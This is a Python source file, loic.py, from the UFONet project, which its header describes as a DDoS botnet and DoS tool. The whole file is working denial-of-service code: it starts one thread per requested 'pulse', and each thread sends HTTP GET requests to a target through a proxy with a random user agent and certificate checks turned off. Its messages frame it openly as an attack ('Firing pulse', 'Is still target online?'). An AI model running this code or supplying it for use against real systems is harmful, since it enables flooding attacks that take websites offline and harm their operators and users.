loic.py 1.6 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-"
  3. """
  4. UFONet - (DDoS botnet + DoS tool) via Web Abuse - 2017/2018 - by psy (epsylon@riseup.net)
  5. You should have received a copy of the GNU General Public License along
  6. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  7. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  8. """
  9. import requests, random, threading, time
  10. # UFONet DoS Web LOIC (Low Orbit Ion Cannon)
  11. def ionize(self, target, proxy):
  12. try:
  13. proxyD = {
  14. "http" : proxy,
  15. }
  16. self.user_agent = random.choice(self.agents).strip()
  17. headers = {'User-Agent': str(self.user_agent)}
  18. requests.get(target, headers=headers, proxies=proxyD, verify=False)
  19. print "[Info] Firing 'pulse' from: LOIC -> Status: HIT!"
  20. except:
  21. print("[Error] LOIC is failing to engage. Is still target online?...")
  22. pass
  23. class LOIC(object):
  24. def __init__(self):
  25. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  26. self.agents = []
  27. f = open(self.agents_file)
  28. agents = f.readlines()
  29. f.close()
  30. for agent in agents:
  31. self.agents.append(agent)
  32. def attacking(self, target, requests, proxy):
  33. print "\n[Info] Low Orbit Ion Cannon (LOIC) is ready to fire: [" , requests, "pulses ]\n"
  34. for i in range(0, int(requests)):
  35. t = threading.Thread(target=ionize, args=(self, target, proxy)) # attack with LOIC using threading
  36. t.daemon = True
  37. t.start()
  38. time.sleep(1)